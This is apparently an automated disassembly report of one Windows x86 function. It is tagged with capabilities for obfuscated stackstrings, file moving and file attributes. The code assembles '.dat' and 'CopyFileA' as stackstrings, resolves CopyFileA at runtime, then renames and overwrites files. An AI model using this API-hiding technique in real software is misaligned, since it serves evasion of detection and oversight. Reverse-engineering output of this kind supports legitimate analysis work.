Function at 0x404659
Capabilities:
Contain obfuscated stackstrings
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
push ebx
push esi
push edi
push pe_nt_image_headers32
pop edx
xor ebx, ebx
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x62b]
mov byte [ebp - 0x62c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x527]
mov byte [ebp - 0x528], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x423]
mov byte [ebp - 0x424], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x21b]
mov byte [ebp - 0x21c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x117]
mov byte [ebp - 0x118], bl
rep stosd dword es:[edi], eax
push dword [ebp + 0xc]
mov byte [ebp - 8], 0x2e
stosw word es:[edi], ax
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], bl
stosb byte es:[edi], al
call fcn.004015e5
test eax, eax
pop ecx
jle 0x404714
push dword [ebp + 0xc]
lea eax, [ebp - 0x21c]
push eax
call fcn.00401504
push dword [ebp + 8]
lea eax, [ebp - 0x21c]
push eax
call fcn.004015fb
add esp, 0x10
push dword [ebp + 0x10]
call fcn.004015e5
test eax, eax
pop ecx
jle 0x404742
push dword [ebp + 0x10]
lea eax, [ebp - 0x118]
push eax
call fcn.00401504
push dword [ebp + 8]
lea eax, [ebp - 0x118]
push eax
call fcn.004015fb
add esp, 0x10
lea eax, [ebp - 0x62c]
push eax
call fcn.004016ee
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x528]
push eax
call fcn.00401504
push dword [ebp + 8]
lea eax, [ebp - 0x528]
push eax
call fcn.004015fb
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x424]
push eax
call fcn.00401504
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x424]
push eax
call fcn.004015fb
lea eax, [ebp - 0x424]
push eax
call fcn.00401625
add esp, 0x28
test eax, eax
je 0x404935
lea eax, [ebp - 0x14]
mov byte [ebp - 0x14], 0x43
push eax
push str.Kernel32.dll
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], bl
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call fcn.00401781
mov dword [ebp + 8], eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004015e5
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
add esp, 0xc
test eax, eax
je 0x404895
lea eax, [ebp - 0x21c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x21c]
push ebx
push eax
lea eax, [ebp - 0x424]
push eax
call dword [ebp + 8]
test eax, eax
jne 0x404895
push pe_nt_image_headers32
lea edi, [ebp - 0x31f]
pop ecx
mov byte [ebp - 0x320], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x320]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x320]
push 0x4060ac
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x320]
push 3
push eax
lea eax, [ebp - 0x21c]
push eax
call esi
lea eax, [ebp - 0x21c]
push ebx
push eax
lea eax, [ebp - 0x424]
push eax
call dword [ebp + 8]
test eax, eax
je 0x404935
lea eax, [ebp - 0x118]
push eax
call fcn.004015e5
test eax, eax
pop ecx
je 0x404939
lea eax, [ebp - 0x118]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x118]
push ebx
push eax
lea eax, [ebp - 0x424]
push eax
call dword [ebp + 8]
test eax, eax
jne 0x404939
push pe_nt_image_headers32
lea edi, [ebp - 0x31f]
pop ecx
mov byte [ebp - 0x320], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x320]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x320]
push 0x4060ac
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x320]
push 3
push eax
lea eax, [ebp - 0x118]
push eax
call esi
lea eax, [ebp - 0x118]
push ebx
push eax
lea eax, [ebp - 0x424]
push eax
call dword [ebp + 8]
test eax, eax
jne 0x404939
xor al, al
jmp 0x40493b
mov al, 1
pop edi
pop esi
pop ebx
leave
ret